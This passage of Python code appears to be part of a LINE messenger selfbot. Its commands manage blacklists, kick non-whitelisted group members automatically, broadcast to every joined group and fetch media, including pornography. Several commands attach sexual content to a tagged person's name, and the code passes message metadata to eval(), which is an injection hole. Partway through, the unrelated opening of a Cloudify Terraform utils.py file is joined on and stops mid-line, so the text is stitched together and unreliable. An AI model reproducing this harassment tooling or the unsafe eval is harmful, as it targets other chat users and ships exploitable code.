white.remove(mention["M"]) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) data += " {}. @! it,\n".format(no) no += 1 if hole == []:client.sendMessage(msg.to,"「 Failed 」\nuser not in whitelist.") else:client.sendReplyMention(msg.id,msg.to,data,"",hole) if demote == "on": client.sendMessage(msg.to,"send an contact.") read["delwhitelist"] = True if cmd.startswith(".addbl ") or cmd.startswith(rname + "addbl "): promote = cmd.split("addbl ")[1] if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] hole = [];white = setting["blacklist"] no=1;data = "Blacklist added:\n" for mention in mentionees: if mention["M"] not in setting["blacklist"] and mention['M'] not in setting["whitelist"]: hole.append(mention["M"]) white.append(mention["M"]) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) data += " {}. @! it,\n".format(no) no = (no+1) if hole == []:client.sendMessage(msg.to,"「 Failed 」\nuser in whitelist or already in blacklist.") else:client.sendReplyMention(msg.id,msg.to,data,"",hole) if promote == "on": client.sendMessage(msg.to,"send an contact.") read["addblacklist"] = True if cmd.startswith(".delbl ") or cmd.startswith(rname + "delbl "): demote = cmd.split("delbl ")[1] if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] hole = [];white = setting["blacklist"] no=1;data = "Blacklist removed:\n" for mention in mentionees: if mention["M"] in setting["blacklist"]: hole.append(mention["M"]) white.remove(mention["M"]) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) data += " {}. @! it,\n".format(no) no += 1 if hole == []:client.sendMessage(msg.to,"「 Failed 」\nuser not in blacklist.") else:client.sendReplyMention(msg.id,msg.to,data,"",hole) if demote == "on": client.sendMessage(msg.to,"send an contact.") read["delblacklist"] = True if cmd.startswith(".protect ") or cmd.startswith(rname + "protect "): protection = cmd.split("protect ")[1] if protection == "max": if msg.to in protectMax: client.sendMessage(msg.to,"Max protection already enabled.") else: if msg.to in protectStaff: del setting["proStaff"][msg.to] setting["proMax"][msg.to] = True jap = client.getGroup(msg.to) setting["gname"][msg.to] = jap.name with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) if client.getGroup(msg.to).preventedJoinByTicket == False: hoax = client.getGroup(msg.to) hoax.preventedJoinByTicket = True client.updateGroup(hoax) client.sendMessage(msg.to,"Protect max enabled.") else:client.sendMessage(msg.to,"Protect max enabled.") else: if msg.to not in protectStaff and msg.to not in protectMax: setting["proMax"][msg.to] = True jap = client.getGroup(msg.to) setting["gname"][msg.to] = jap.name if client.getGroup(msg.to).preventedJoinByTicket == False: hoax = client.getGroup(msg.to) hoax.preventedJoinByTicket = True client.updateGroup(hoax) client.sendMessage(msg.to,"Protect max enabled.") else:client.sendMessage(msg.to,"Protect max enabled.") elif protection == "staff": if msg.to in protectStaff: client.sendMessage(msg.to,"Protect staff already enabled.") elif msg.to in protectMax: del setting["proMax"][msg.to] setting["proStaff"][msg.to] = True jap = client.getGroup(msg.to) setting["gname"][msg.to] = jap.name with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) if client.getGroup(msg.to).preventedJoinByTicket == False: hoax = client.getGroup(msg.to) hoax.preventedJoinByTicket = True client.updateGroup(hoax) client.sendMessage(msg.to,"Protect staff enabled.") else:client.sendMessage(msg.to,"Protect staff enabled.") else: setting["proStaff"][msg.to] = True jap = client.getGroup(msg.to) setting["gname"][msg.to] = jap.name with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) if client.getGroup(msg.to).preventedJoinByTicket == False: hoax = client.getGroup(msg.to) hoax.preventedJoinByTicket = True client.updateGroup(hoax) client.sendMessage(msg.to,"Protect staff enabled.") else:client.sendMessage(msg.to,"Protect staff enabled.") elif protection == "none": if msg.to not in protectStaff and msg.to not in protectMax: client.sendMessage(msg.to,"Protection already disabled.") else: if msg.to in protectMax: del setting["proMax"][msg.to] with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Protection disabled.") else: if msg.to in protectStaff: del setting["proStaff"][msg.to] jap = client.getGroup(msg.to) setting["gname"][msg.to] = jap.name with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(msg.to,"Protection disabled.") ''' ** CUSTOMING ''' if cmd == ".apikey" or cmd == rname + "apikey": data = "「 Usage 」\n .apikey: status\n .apikey: YOUR APIKEY" client.sendFlexText(to,data) if cmd.startswith(".apikey: ") or cmd.startswith(rname + "apikey: "): if search == "status": data = media.status(setting['apikey']) main = data["result"] info = "𝐀𝐏𝐈.𝐈𝐌𝐉𝐔𝐒𝐓𝐆𝐎𝐎𝐃.𝐂𝐎𝐌" info += f"\n\nID : {main['id']}" info += f"\nTYPE : {main['type']}" info += f"\nUSAGE : {main['usage']}" info += f"\nEXPIRED : {main['expired']}" info += f"\nRESTART : {main['restart']}" info += f"\n\nSERVICE : bit.ly/imjustgood-tools" client.sendFlexText(to,info) else: setting["apikey"] = link with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMessage(to,"Apikey was upgrade.") if cmd.startswith(".upbio: ") or cmd.startswith(rname + "upbio: "): biograp = cmd.split("bio: ")[1] if len(biograp) <= 100: profile = client.getProfile() profile.statusMessage = biograp client.updateProfile(profile) client.sendReplyMessage(msg.id,msg.to, "Status bio updated to:\n{}".format(biograp)) else:client.sendReplyMessage(msg.id,msg.to,"Maximum 100 character.") if cmd.startswith(".upname: ") or cmd.startswith(rname + "upname: "): dname = cmd.split("upname: ")[1] if len(dname) <= 100: profile = client.getProfile() profile.displayName = dname.title() client.updateProfile(profile) client.sendReplyMessage(msg.id,msg.to, "Profile name updated to:\n{}".format(dname.title())) else:client.sendReplyMessage(msg.id,msg.to,"Maximum 20 character.") if cmd.startswith(".rname: ") or cmd.startswith(rname + "rname: "): rnamed = cmd.split("name: ")[1] setting["rname"] = rnamed with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to, "Rname updated to:\n{}".format(rnamed.title())) if cmd == ".keykick" or cmd == rname + "keykick": client.sendFlexText(to,"「 Usage 」\n.keykick: YOUR KEY\n.keykick: reset\n.keykick: cek") if cmd.startswith(".keykick: ") or cmd.startswith(rname + "keykick: "): kicked = cmd.split("kick: ")[1] if kicked == "reset": setting["keykick"] = "" with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to, "Key reseted") elif kicked == "cek":client.sendReplyMessage(msg.id,msg.to, "Your key: {}".format(setting["keykick"])) else: setting["keykick"] = kicked with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendReplyMessage(msg.id,msg.to, "Key updated to:\n{}".format(kicked.title())) if cmd.startswith(".leavemsg: ") or cmd.startswith(rname + "leavemsg: "): data = cmd.split("msg: ")[1] read["lmessage"] = data client.sendMessage(msg.to,"Leave message update to:\n{}".format(data)) if cmd.startswith(".welcomsg: ") or cmd.startswith(rname + "welcomsg: "): data = cmd.split("msg: ")[1] if msg.to in setting["welcome"]: read["wmessage"][msg.to] = data client.sendMessage(msg.to,"Welcome message update to:\n{}".format(data)) else:client.sendMessage(msg.to,"Welcome message not active\nPlease enabled welcome first.") if cmd.startswith(".gname: ") or cmd.startswith(rname + "gname: "): gname = msg.text.split("name: ")[1] g = client.getGroup(msg.to) g.name = gname client.updateGroup(g) client.sendReplyMessage(msg.id,msg.to, "Group updated to:\n{}".format(gname)) if cmd.startswith(".broadcast: ") or cmd.startswith(rname + "broadcast: "): bc = cmd.split("broadcast: ")[1] groups = client.getGroupIdsJoined() allGc = client.getGroups(groups) youBc = "「 Broadcast Message 」\nSender: @! \nSupport: https://{}\nBroadcasted: {} Groups\n────────────────\n{}".format(host,len(allGc),bc) for x in range(len(allGc)): client.sendMention(allGc[x].id, youBc,[mid]) client.sendReplyMessage(id,to,"Success Broadcasted on {} groups.".format(len(allGc))) if cmd.startswith(".update") or cmd.startswith(rname + "updatepict"): data = cmd.split("update")[1] if data == "pict": read["pp"] = True client.sendMessage(msg.to,"send an image.") elif data == "dual": read["dual"] = True client.sendMessage(msg.to,"send an video.") elif data == "gpict": read["gpict"][msg.to] = True client.sendMessage(msg.to,"send an image.") ''' ** MEDIA FEATURE ** ''' if cmd.startswith(".joox: ") or cmd.startswith(rname + "joox: "): data = media.joox(search) main = data['result'] result = flex.joox(main) client.sendFlex(to,result) client.sendAudioWithURL(to,main["mp3Url"]) if cmd.startswith(".youtube") or cmd.startswith(rname + "youtube"): query = cmd.split("youtube")[1] if query.startswith("dl: http"): data = media.youtubedl(link) main = data["result"] result = flex.youtube(main) client.sendFlex(to,result) client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"]) client.sendFlexAudio(to,main["audioUrl"]) if query.startswith(": "): data = media.youtube(search) main = data['result'] result = flex.youtube(main) client.sendFlex(to,result) client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"]) client.sendFlexAudio(to,main["audioUrl"]) if cmd.startswith(".lyric: ") or cmd.startswith(rname + "lyric: "): data = media.lyric(search) main = data['result'] result = flex.lyric(main) client.sendFlex(to,result) if cmd.startswith(".tiktok") or cmd.startswith(rname + "tiktok"): query = cmd.split("tiktok")[1] if query.startswith("dl: http"): client.sendMessage(to,"Downloading..") data = media.tiktokdl(link) result = data['result']['watermark'] client.sendVideoWithURL(to,result) if query.startswith(": "): data = media.tiktok(search) main = data['result'] result = flex.tiktok(main) client.sendFlex(to,result) if cmd.startswith(".smule") or cmd.startswith(rname + "smule"): query = cmd.split("smule")[1] if query.startswith("dl: http"): client.sendMessage(to,"Downloading..") data = media.smuledl(link) main = data['result'] client.sendAudioWithURL(to,main["mp3Url"]) if main["type"] == "video": client.sendFlexVideo(to,main["mp4Url"],main["thumbnail"]) if query.startswith(": "): client.sendMessage(to,"Searching..") data = media.smule(search) main = data['result'] result = flex.smule(main) client.sendFlex(to,result) if cmd.startswith(".twitter") or cmd.startswith(rname + "twitter"): query = cmd.split("twitter")[1] if query.startswith("dl: http"): client.sendMessage(to,"Downloading..") data = media.twitterdl(link) result = data['result']['videoUrl'] client.sendFlexVideo(to,result,"cyan") if query.startswith(": "): data = media.twitter(search) main = data['result'] result = flex.twitter(main) client.sendFlex(to,result) if cmd.startswith(".facebookdl: http") or cmd.startswith(rname + "facebookdl: http"): data = media.facebookdl(link) main = data["result"] result = flex.facebook(main) client.sendFlex(to,result) client.sendFlexVideo(to,main["videoUrl"],"white") if cmd.startswith(".timeline: http") or cmd.startswith(rname + "timeline: http"): data = media.timeline(link) main = data['result'] result = flex.timeline(main) client.sendFlex(to,result) for i in main["timeline"]: if i["type"] == "video": client.sendFlexVideo(to,i["url"],i["thumbnail"]) if i["type"] == "image": client.sendFlexImage(to,i["url"]) if cmd.startswith(".github: ") or cmd.startswith(rname + "github: "): data = media.github(search) main = data['result'] result = flex.github(main) client.sendFlex(to,result) if cmd.startswith(".instagram: ") or cmd.startswith(rname + "instagram: "): data = media.instagram(search) main = data['result'] result = flex.instagram(main) client.sendFlex(to,result) if cmd.startswith(".instapost: ") or cmd.startswith(rname + "instapost: "): data = media.instapost(link) main = data['result'] result = flex.instapost(main) client.sendFlex(to,result) if main["postData"] != []: for i in main["postData"]: if i["type"] == "image": client.sendFlexImage(to,i["postUrl"]) if i["type"] == "video": client.sendFlexVideo(to,i["postUrl"],i["poster"]) if cmd.startswith(".instastory: ") or cmd.startswith(rname + "instastory: "): query = search.split(" / ") if len(query) == 2: client.sendMessage(to,"Downloading..") data = media.instastory(query[0]) main = data['result']['stories'][int(query[1])-1] result = flex.instastory(data['result'],int(query[1])-1) client.sendFlex(to,result) if main["type"] == "video": client.sendFlexVideo(to,main["url"],main["thumbnail"]) if main["type"] == "image": client.sendFlexImage(to,main["url"]) if len(query) == 1: client.sendMessage(to,"Invalid commands.") client.sendReplyMessage(ids,to,"「 Example 」\n"+f"{text} / number".capitalize()) if cmd.startswith(".bitly: ") or cmd.startswith(rname + "bitly: "): data = media.bitly(link) main = data['result'] result = "URL Shortened : {}".format(main) client.sendReplyMessage(ids,to,result) if cmd.startswith(".tinyurl: ") or cmd.startswith(rname + "tinyurl: "): data = media.tinyurl(link) main = data['result'] result = "URL Shortened : {}".format(main) client.sendReplyMessage(ids,to,result) if cmd.startswith(".movie: ") or cmd.startswith(rname + "movie: "): data = media.movie(search) main = data['result'] result = flex.movie(main) client.sendFlex(to,result) if cmd.startswith(".cinema: ") or cmd.startswith(rname + "cinema: "): client.sendMessage(to,"Searching..") query = search.split(" / ") if len(query) == 1: data = media.cinema(search) main = data['result'] result = flex.cinemaSearch(main) client.sendFlex(to,result) client.sendMessage(to,f"{text} / number".capitalize()) if len(query) == 2: data = media.cinema(query[0]) main = data['result']['data'][int(query[1])-1] result = flex.cinemaInfo(main) client.sendFlex(to,result) client.sendMessage(to,f"{cmd} / number".capitalize()) if len(query) == 3: data = media.cinema(query[0]) main = data['result']['data'][int(query[1])-1]["nowPlaying"][int(query[2])-1] result = flex.cinemaShow(main) client.sendFlex(to,result) if cmd.startswith(".porn: ") or cmd.startswith(rname + "porn: "): data = media.porn(search) main = data['result'] result = flex.porn(main) client.sendFlex(to,result) client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"]) if cmd.startswith(".zodiac: ") or cmd.startswith(rname + "zodiac: "): data = media.zodiac(search) main = data['result'] result = flex.zodiac(main) client.sendFlex(to,result) if cmd.startswith(".urban: ") or cmd.startswith(rname + "urban: "): data = media.urban(search) main = data['result'] result = flex.urban(main) client.sendFlex(to,result) if cmd.startswith(".kbbi: ") or cmd.startswith(rname + "kbbi: "): data = media.kbbi(search) main = data['result'] result = flex.kbbi(main,search) client.sendFlex(to,result) if cmd.startswith(".image: ") or cmd.startswith(rname + "image: "): data = media.image(search) main = data['result'] result = random.choice(main) client.sendFlexImage(to,result) if cmd.startswith(".cuaca: ") or cmd.startswith(rname + "cuaca: "): data = media.cuaca(search) main = data['result'] result = flex.cuaca(main) client.sendFlex(to,result) if cmd.startswith(".playstore: ") or cmd.startswith(rname + "playstore: "): client.sendMessage(to,"Searching..") data = media.playstore(search) main = data['result'][0] result = flex.playstore(main) client.sendFlex(to,result) if cmd.startswith(".cctv") or cmd.startswith(rname + "cctv"): query = text.split("cctv")[1] if query == "": data = media.cctv_code() main = data['result']['active'] result = flex.cctvList(main) client.sendFlex(to,result) client.sendMessage(to,f"{text}: code".capitalize()) if query.startswith(": "): data = media.cctvSearch(search) main = data['result'] result = flex.cctvGet(main) client.sendFlexVideo(to,main['video'],main['thumbnail']) client.sendFlex(to,result) if cmd.startswith(".acaratv") or cmd.startswith(rname + "acaratv"): query = cmd.split("acaratv")[1] if query == "": data = media.acaratv() main = data['result'] result = flex.acaratv(main) client.sendFlex(to,result) client.sendMessage(to,f"{cmd}: channel".capitalize()) if query.startswith(": "): data = media.acaratv_channel(search) main = data['result'] result = flex.channel(main,search) client.sendFlex(to,result) if cmd.startswith(".adzan: ") or cmd.startswith(rname + "adzan: "): data = media.adzan(search) main = data['result'] result = flex.adzan(main) client.sendFlex(to,result) if cmd.startswith(".wallpaper: ") or cmd.startswith(rname + "wallpaper: "): data = media.wallpaper(search) main = data['result'] result = random.choice(main) client.sendFlexImage(to,result) if cmd.startswith(".screenshot: ") or cmd.startswith(rname + "screenshot: "): que = cmd.split("shot: ")[1] if que.startswith("http"): query = que else: liq = msg.text.split(": ")[1] query = "http://{}".format(liq) data = media.screenshot(query) main = data['result'] client.sendFlexImage(to,main["desktop"]) client.sendFlexImage(to,main["mobile"]) if cmd.startswith(".resi: ") or cmd.startswith(rname + "resi: "): query = link.split() if len(query) == 1: client.sendMessage(to,"Invalid commands.") client.sendReplyMessage(ids,to,"「 Example 」\n"+f"{rname}resi: ".capitalize()+"JNE JT72907133342") if len(query) == 2: data = media.resi(query[0].lower(),query[1]) main = data['result'] result = flex.resi(main) client.sendFlex(to,result) if cmd.startswith(".gif: ") or cmd.startswith(rname + "gif: "): data = media.gif(search) main = data['result'] result = random.choice(main) client.sendGIFWithURL(to,result) if cmd.startswith(".wikipedia: ") or cmd.startswith(rname + "wikipedia: "): data = media.wikipedia(search) main = data['result'] result = flex.wikipedia(main) client.sendFlex(to,result) if cmd.startswith(".artinama: ") or cmd.startswith(rname + "artinama: "): data = media.nama(search) main = data['result'] result = flex.nama(main) client.sendFlex(to,result) if cmd.startswith(".artimimpi: ") or cmd.startswith(rname + "artimimpi: "): data = media.mimpi(search) main = data['result'] result = flex.mimpi(main,search) client.sendFlex(to,result) if cmd.startswith(".handphone: ") or cmd.startswith(rname + "handphone: "): query = search.split(" / ") if len(query) == 1: data = media.cellular(search) main = data['result'] if len(main) == 1: result = flex.cellularSpecs(main[0]) else:result = flex.cellularSearch(main) client.sendFlex(to,result) if len(query) == 2: data = media.cellular(query[0]) main = data['result'][int(query[1])-1] result = flex.cellularSpecs(main) client.sendFlex(to,result) if cmd.startswith(".birth: ") or cmd.startswith(rname + "birth: "): data = media.lahir(search) main = data['result'] result = flex.lahir(main) client.sendFlex(to,result) if cmd.startswith(".anniv: ") or cmd.startswith(rname + "anniv: "): query = cmd.split("anniv: ")[1] if "-" not in query:client.sendMessage(to,"「 Usage 」\n .anniv: 17-02-2013") else: data = media.jadian(search) main = data['result'] result = flex.jadian(main) client.sendFlex(to,result) if cmd.startswith(".manga: ") or cmd.startswith(rname + "manga: "): chapter = link.split(" / ") if len(chapter) == 1: data = media.mangaSearch(search) main = data['result'] result = flex.manga(main) client.sendFlex(to,result[0]) client.sendFlex(to,result[1]) client.sendMessage(to,f"{text} / number".capitalize()) if len(chapter) == 2: query = int(chapter[1]-1) data = media.mangaSearch(chapter[0]) main = data['result']['manga'][query] wibu = media.mangaChapter(main["id"]) client.sendMessage(to,wibu["title"]) for img in wibu["manga"]: client.sendImageWithURL(to,img) if cmd == ".imagelink" or cmd == rname + "imagelink": read["imgurl"][to] = True client.sendReplyMessage(ids,to,"Send an image.") if cmd == ".covid19" or cmd == rname + "covid19": data = media.corona() main = data['result'] result = flex.corona(main) client.sendFlex(to,result) if cmd == ".kamasutra" or cmd == rname + "kamasutra": data = media.kamasutra() main = data['result'] result = flex.kamasutra(main) client.sendFlex(to,result) if cmd == ".bmkg" or cmd == rname + "bmkg": data = media.bmkg() main = data['result'] result = flex.bmkg(main) client.sendFlex(to,result) if cmd == ".topnews" or cmd == rname + "topnews": data = media.topnews() main = data['result'] result = flex.topnews(main) client.sendFlex(to,result) if cmd == ".pornstar" or cmd == rname + "pornstar": data = media.pornstar() main = random.choice(data['result']) result = flex.pornstar(main) client.sendFlex(to,result) client.sendFlexImage(to,main["image"]) if cmd == ".quotes" or cmd == rname + "quotes": data = media.movie_quotes() main = data['result'] result = flex.quotes(main) client.sendFlex(to,result) if cmd == ".hentai" or cmd == rname + ".hentai": data = media.hentai() main = data['result'] result = random.choice(main) client.sendFlexImage(to,result) if cmd.startswith(".karir") or cmd.startswith(rname + "karir"): query = text.split("karir")[1] if query == "": data = media.karir() main = data['result'] result = flex.karir(main) client.sendFlex(to,result) client.sendMessage(to,f"{text}: number".capitalize()) if query.startswith(": "): data = media.karir() main = data['result'][int(search)-1] result = flex.karirInfo(main) client.sendFlex(to,result) if cmd.startswith(".trans-en: ") or cmd.startswith(rname + "trans-en: "): data = media.translate("en",link) main = data['result']['translate'] client.sendReplyMessage(ids,to,f"「 IND - ENG 」\n{main}") if cmd.startswith(".trans-id: ") or cmd.startswith(rname + "trans-id: "): data = media.translate("id",link) main = data['result']['translate'] client.sendReplyMessage(ids,to,f"「 ENG - IND 」\n{main}") if cmd.startswith(".fancy: ") or cmd.startswith(rname + "fancy: "): data = media.fancy(link) main = "" for s in data["result"]: main += "\n{}\n".format(s) client.sendFlexText(to,main[1:]) if cmd.startswith(".customlink: ") or cmd.startswith(rname + "customlink: "): query = link.split() if len(query) == 2: data = media.customlink(query[0], query[1]) main = data["result"] result = "URL Shortened : {}".format(main) client.sendReplyMessage(ids,to,result) if cmd.startswith(".checkip: ") or cmd.startswith(rname + "checkip: "): data = media.check_ip(link) main = data['result'] result = flex.checkIP(main) client.sendFlex(to,result) if cmd == ".header?" or cmd == rname + "header?": client.sendMessage(to,"loading..") data = media.lineapp() main = data['result'] result = flex.linever(main) client.sendFlex(to,result) if cmd.startswith(".dick ") or cmd.startswith(rname + "dick "): if 'MENTION' in msg.contentMetadata.keys() != None: mention = eval(msg.contentMetadata['MENTION']) users = mention['MENTIONEES'][0]['M'] if users != mid: names = f"dick {client.getContact(users).displayName}" data = media.dick() main = data['result'] result = flex.dick(main,names) client.sendFlex(to,result) if cmd.startswith(".tits ") or cmd.startswith(rname + "tits "): if 'MENTION' in msg.contentMetadata.keys() != None: mention = eval(msg.contentMetadata['MENTION']) users = mention['MENTIONEES'][0]['M'] if users != mid: names = f"tits {client.getContact(users).displayName}" data = media.tits() main = data['result'] result = flex.tits(main,names) client.sendFlex(to,result) if cmd.startswith(".vagina ") or cmd.startswith(rname + "vagina "): if 'MENTION' in msg.contentMetadata.keys() != None: mention = eval(msg.contentMetadata['MENTION']) users = mention['MENTIONEES'][0]['M'] if users != mid: names = f"vagina {client.getContact(users).displayName}" data = media.vagina() main = data['result'] result = flex.vagina(main,names) client.sendFlex(to,result) if cmd.startswith(".meme") or cmd.startswith(rname + "meme"): if cmd.split("meme")[1] == "":client.sendReplyMessage(ids,to,"「 Usage 」\n.meme @Tag / Text1 - Text2") else: text = cmd.split("/ ")[1].split(" - ")[0] text2 = cmd.split("- ")[1] if 'MENTION' in msg.contentMetadata.keys() != None: names = re.findall(r'@(\w+)', cmd) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] for mention in mentionees: if mention["M"] != mid: imageurl = "{}{}".format(oburl,client.getContact(mention['M']).pictureStatus) meme = media.meme(text,text2,imageurl) data = meme['result'] client.sendFlexImage(msg.to,data) ''' ** METADATA AND CONTENT TYPE FUNCTION ** ''' if msg.contentType == 13: target = msg.contentMetadata["mid"] if read["addwhitelist"]: if target != mid and target in setting["whitelist"]: client.sendReplyMessage(msg.to,"Already in whitelist") read["addwhitelist"] = False else: if target not in setting["blacklist"]: setting["whitelist"].append(target) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMention(msg.to,"@! added in whitelist.",[target]) read["addwhitelist"] = False else: client.sendMention(msg.to,"[Failed!]\n@! in blacklist.",[target]) read["addwhitelist"] = False if read["delwhitelist"]: if target != mid and target in setting["whitelist"]: setting["whitelist"].remove(target) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMention(msg.to,"@! removed from whitelist.",[target]) read["delwhitelist"] = False else: client.sendMention(msg.to,"[Failed]\n@! not in whitelist.",[target]) read["delwhitelist"] = False if read["addblacklist"]: if target != mid and target in setting["blacklist"]: client.sendReplyMessage(msg.to,"Already in blacklist") read["addblacklist"] = False else: if target not in setting["whitelist"]: setting["blacklist"].append(target) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMention(msg.to,"@! added in blacklist.",[target]) read["addblacklist"] = False else: client.sendMention(msg.to,"[Failed!]\n@! in whitelist.",[target]) read["addblacklist"] = False if read["delblacklist"]: if target != mid and target in setting["blacklist"]: setting["blacklist"].remove(target) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) client.sendMention(msg.to,"@! removed from blacklist.",[target]) read["delblacklist"] = False else: client.sendMention(msg.to,"[Failed]\n@! not in blacklist.",[target]) read["delblacklist"] = False if msg.contentType == 2: if read['dual']: try: client.downloadObjectMsg(msg.id,'path','video.mp4') client.sendMessage(msg.to, "Send picture to be profiled") read['dual']= False read['dual2']=True except: read['dual']= True client.sendMessage(msg.to, "「 Failed 」\nPlease resend your video.") if msg.contentType == 1: if msg.to in read["imgurl"]: del read["imgurl"][msg.to] try: path = client.downloadObjectMsg(ids) data = media.imgurl(path) main = data['result'] result = f"Image was converted :\n{main}" client.sendReplyMessage(ids,to,result) except Exception as e: client.sendReplyMessage(ids,to,f"ERROR : {e}") if read['dual2']: client.downloadObjectMsg(msg.id,'path','foto.jpg') client.updateProfileVideoPicture('video.mp4','foto.jpg') client.sendMessage(msg.to, 'Success change profile video.') client.deleteFile('path') read['dual2']=False if read["pp"]: path = client.downloadObjectMsg(msg.id) read["pp"] = False client.updateProfilePicture(path) client.deleteFile(path) client.sendMessage(msg.to, "Profile image updated.") if msg.to in read["gpict"]: path = client.downloadObjectMsg(msg.id) del read["gpict"][msg.to] client.updateGroupPicture(msg.to, path) client.deleteFile(path) client.sendMessage(msg.to, "Group image updated.") except Exception as error: ERROR = flex.ERROR(f"{error}") client.sendFlex(to,ERROR) traceback.print_tb(error.__traceback__) def restart(): python = sys.executable os.execl(python, python, *sys.argv) def liff(): url = 'https://access.line.me/dialog/api/permissions' data = {'on': ['P','CM'],'off': []} headers = {'X-Line-Access': client.authToken ,'X-Line-Application': client.server.APP_NAME,'X-Line-ChannelId': '1602876096','Content-Type': 'application/json'} requests.post(url, json=data, headers=headers) def prostaff(op): try: if op.param3 in setting["whitelist"]: if op.param2 not in setting["whitelist"]: client.kickoutFromGroup(op.param1,[op.param2]) client.findAndAddContactsByMid(op.param3) client.inviteIntoGroup(op.param1,[op.param3]) if op.param2 not in setting["blacklist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) except Exception as error:print(error) def promax(op): try: if op.param2 not in setting["whitelist"]: client.kickoutFromGroup(op.param1,[op.param2]) client.findAndAddContactsByMid(op.param3) client.inviteIntoGroup(op.param1,[op.param3]) if op.param2 not in setting["blacklist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) except Exception as e:print(e) def proinvite(op): try: if op.param2 not in setting["whitelist"]: try:client.kickoutFromGroup(op.param1,[op.param2]) except:pass mbul = client.getGroup(op.param1) no = 0 for a in mbul.invitee: if a.mid in op.param3: if no > 10:pass else: try: no = (no+1) client.cancelGroupInvitation(op.param1,[a.mid]) time.sleep(0.04) except:pass for b in mbul.members: if b.mid in op.param3: try:client.kickoutFromGroup(op.param1,[b.mid]) except:pass if op.param2 not in setting["blacklist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) else: mbul = client.getGroup(op.param1) for a in mbul.invitee: if a.mid in op.param3: if a.mid in setting["blacklist"]: try: client.cancelGroupInvitation(op.param1,[a.mid]) client.sendMessage(msg.to,"Caution!, user in blacklist") except:pass else:pass for b in mbul.members: if b.mid in op.param3: if b.mid in setting["blacklist"]: try:client.kickoutFromGroup(op.param1,[b.mid]) except:pass except Exception as e:print(e) def kekick(op): if op.param2 not in setting["whitelist"]: if op.param2 not in setting["blacklist"]: setting["blacklist"].append(op.param2) with open('Data/settings.json', 'w') as fp: json.dump(setting, fp, sort_keys=True, indent=4) while True: try: ops = clPoll.singleTrace(count=50) if ops is not None: for op in ops: clPoll.setRevision(op.revision) t1 = Thread(target=Oup(op,)) t1.start() t1.join() except Exception as error: client.log("「 ERROR 」\n{}".format(str(error))) traceback.print_tb(error.__traceback__)
utils.py
######## # Copyright (c) 2018-2020 GigaSpaces Technologies Ltd. All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import sys import json import base64 import ntpath import shutil import zipfile import filecmp import tempfile import requests import threading from io import BytesIO from textwrap import indent from itertools import islice from contextlib import contextmanager from pathlib import Path from cloudify import ctx from cloudify.exceptions import NonRecoverableError from cloudify.utils import exception_to_error_cause from cloudify_common_sdk.hcl import ( convert_json_hcl, extract_hcl_from_dict, ) from cloudify_common_sdk.utils import ( v1_gteq_v2, get_ctx_node, download_file, copy_directory, get_ctx_instance, find_rel_by_type, get_cloudify_version, get_node_instance_dir, unzip_and_set_permissions, ) from cloudify_common_sdk.resource_downloader import unzip_archive from cloudify_common_sdk.resource_downloader import untar_archive from cloudify_common_sdk.resource_downloader import get_shared_resource from cloudify_common_sdk.resource_downloader import TAR_FILE_EXTENSTIONS try: from cloudify.constants import RELATIONSHIP_INSTANCE, NODE_INSTANCE except ImportError: NODE_INSTANCE = 'node-instance' RELATIONSHIP_INSTANCE = 'relationship-instance' from .constants import ( NAME, STATE, DRIFTS, IS_DRIFTED, TERRAFORM_STATE_FILE ) from ._compat import text_type, StringIO, mkdir_p def exclude_file(dirname, filename, excluded_files): """In _zip_archive, we need to prevent certain files, i.e. the TF binary, from being added to the zip. It's totally unnecessary, and also crashes the manager. """ rel_path = os.path.join(dirname, filename) for f in excluded_files: if not f: continue elif os.path.isfile(f) and rel_path == f: return True elif os.path.isdir(f) and f in rel_path: return True return False def exclude_dirs(dirname, subdirs, excluded_files): """In _zip_archive, we need to prevent certain files, i.e. TF plugins, from being added to the zip. It's totally unnecessary, and also crashes the manager. """ rel_subdirs = [os.path.join(dirname, d) for d in subdirs] for f in excluded_files: if not f: continue if 